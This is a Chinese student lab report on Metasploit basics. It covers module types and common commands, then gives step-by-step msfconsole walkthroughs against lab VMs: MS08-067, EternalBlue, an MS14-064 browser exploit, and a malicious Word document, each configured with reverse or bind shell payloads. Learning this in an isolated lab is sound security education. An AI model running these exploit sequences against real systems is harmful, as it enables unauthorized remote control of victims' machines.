一、实验目标
- 掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路
二、实验内容
-
一个主动攻击实践,如ms08_067
-
一个针对浏览器的攻击,如ms11_050
-
一个针对客户端的攻击,如Adobe
-
成功应用任何一个辅助模块
三、MSF基础知识
1.模块(Module)
- 模块是指Metasploit框架中所使用的一段软件代码组件
- 渗透攻击模块(Exploit Modules):是指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为
- 辅助模块(Auxiliary Modules):能够帮助渗透测试者在进行渗透攻击之前得到目标系统丰富的情报信息,从而发起更具目标性的精准攻击
- 攻击载荷(Payload Modules):简单说payload原意为‘载荷’,就是被运输的东西。在我们的上下文环境中就是指一段指令或称为shellcode
- 空字段模块(Nop Modules):是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90
- 编码模块(Encoders):攻击载荷模块与空指令模块组装完成一个指令序列后进行;确保攻击载荷中不会出现渗透攻击过程中应避免的“坏字符”;改变特征码,对攻击载荷进行“免杀”处理
- 后渗透攻击模块(Post):收集更多信息或进一步访问受攻击目标系统
2.用户操作界面
- msfconsole
- 开发部署成本低、兼容性高、方便自动化
- 指令需要记
- armitage
- 点选模块 不用记忆
- 使用不灵活
- webgui
- 跨平台、高效、功能强大
3.攻击方式
- 主动攻击:直接攻击系统开启的漏洞服务,获取系统控制权
- 攻击浏览器,获取系统控制权
- 攻击客户端应用,获取系统控制权
- 本地提权
4.常用命令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
四、基础问题回答
1.用自己的话解释什么是exploit,payload,encode
exploit:
攻击部分(攻击模块),是用来利用靶机的系统漏洞进行攻击的模块payload:
载荷(载荷模块),是用来传送攻击相关的代码等的模块encode:
编码(编码模块),是用来对攻击代码进行进一步编码处理的模块
五、实验任务
1.主动攻击实践——ms08-067、ms17_010_eternalblue
MS08-067远程溢出漏洞实践(shell)
靶机:Windows 2000(192.168.228.137)
攻击机:kali(192.168.228.128)
- 试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.229.137
- 进入metasploit的msfconsole控制台:
msfconsole
- 在msf模式下查找与其相关的漏洞攻击程序,看到exploit/windows/smb/ms08_067_netapi的信息:
search ms08_067
或者search ms08-067
use exploit/windows/smb/ms08_067_netapi
选择该漏洞set RHOSTS 192.168.228.137
设置靶机IP
- 利用辅助模块查看端口是否开启(默认端口为445)
search portscan
:搜索端口use auxiliary/scanner/portscan/tcp
:使用漏洞show options
:显示设置set RHOSTS 192.168.228.137
:设置监听者地址exploit
:攻击
show targets
查看targets
show payloads
查看可用payload
-
选择
set payload generic/shell_bind_tcp
-
set LHOST 192.168.228.137
设置监听者ip -
set LPORT 5217
设置监听者端口号
exploit
进行攻击,结果可成功获取win2000虚拟机的shell
ms17_010_eternalblue
靶机:Windows 7(192.168.228.131)
攻击机:kali(192.168.228.128)
- 具体步骤和之前基本一致,所以在这里以及下文都不再赘述
set payload windows/x64/shell/reverse_tcp_uuid //选择攻击载荷
set LHOST 192.168.228.128 //设置监听地址
set LPORT 5217 //设置端口号
set RHOSTS 192.168.228.131 //设置靶机地址
show options //查看配置信息
exploit //开始攻击
- 攻击成功
2.针对浏览器的攻击——ms14_064
ms14_064
靶机:Windows XP(192.168.228.134)
攻击机:kali(192.168.228.128)
- 具体步骤
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置攻击载荷
set SRVHOST 192.168.228.128 //设置攻击机IP
set AllowPowerShellPrompt 1 //设置powershell
set LHOST 192.168.228.128 //设置监听地址
set LPORT 8080 //设置监听端口
set target 0 //设置winXP靶机
show options //查看设置
- 运行后,将生成的URL在靶机的浏览器运行
- 然后kali会提示会话创建成功的信息,再执行
sessions
查看刚刚创建的会话
-
输入
sessions -i 1
即可获取第一个会话连接 -
在shell输入ipconfig,可以发现控制的是我的靶机ip,表明攻击成功
3.一个针对客户端的攻击——Adobe、Office Word
Adobe Reader
靶机:Windows XP(192.168.228.137)
攻击机:kali(192.168.228.128)
- 具体步骤
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
set LHOST 192.168.186.128 //设置监听IP
set LPORT 5217 //设置监听端口
set FILENAME wyf20175217.pdf //设置文件名
- 将生成的pdf文件传到靶机中
- 进入
exploit/multi/handler
监听模块,配置参数进行监听
-
尝试了
reverse
回连载荷、bind
主动连接载荷 -
尝试了不同版本的XP、win7虚拟机作为靶机、kali虚拟机做尝试,都没成功,花了整整一天,决定放弃
Office Word
靶机:Windows XP(192.168.228.140)
攻击机:kali(192.168.228.128)
-
选择攻击模块
use windows/fileformat/ms11_006_createsizeddibsection
,并像之前的步骤一样设置相关参数:payload
、LHOST
、LPROT
-
将生成的
msf.doc
传到靶机中
- 在kali中像之前一样进入监听模式,并配置相关参数进行监听
- 在靶机中进入缩略图查看,双击使用Word打开
- 攻击成功
4.成功应用任何一个辅助模块——java_jmx_server
- 输入
use auxiliary/scanner
,查看可以使用的辅助模块,在其中还可以看到对应的模块描述
- 我随机选择了其中的一个
java_jmx_server
模块,它的描述显示它是用来扫描靶机是否有java的jmx代码漏洞的
- 输入
show options
查看其要输入的内容有靶机地址:RHOST
、靶机端口RPORT
和线程数量:THREADS
- 输入相关参数后,
run
即完成扫描
六、离实战还缺些什么技术或步骤
1.对系统漏洞的了解
- 在选择模块的时候,有很多漏洞都看不懂是什么意思,更谈不上攻击了
2.对Linux指令的熟练掌握
- 对Linux指令的不熟悉使得在查找模块、漏洞、操作shellcode等方面遇到障碍
3.对具体错误的处理能力
- 就像这次实验,Adobe那一步死活懂弄不好,不知道错误出在了哪里
4.更高级的攻击方法
- 实验中的攻击都是针对win7、XP的,且在防火墙等安全防护都关闭的情况下进行的,对我们日常使用的高级一些的软件及系统好像很难应用
七、实验中遇到的问题
问题一:在靶机互ping的过程中,出现了Negotiating IP security
的错误
解决一:发现是靶机的IPSec server
没有关,关掉后即可正常ping通
八、实验心得体会
这次实验做的是MSF基础应用,因为之前的实验使用过msf产生后门软件,所以理解起来不算很难,但是在实践上遇到了很多问题,主要是靶机的选取,总是没办法攻击成功,后来向同学要了XP虚拟机后才算是顺利的完成了实验。
这也从另一个侧面反映了我现在对msf的应用还不够熟练,对环境的要求很高,只能在特定的条件下,攻击才能成功。但不管这么说,通过这次实验,我对msf的各种模块的理解和使用水平都有了很大的提升,相信今后对系统漏洞的理解更深入了、对Linux指令的掌握更熟悉了,一定能把msf使用的更好的。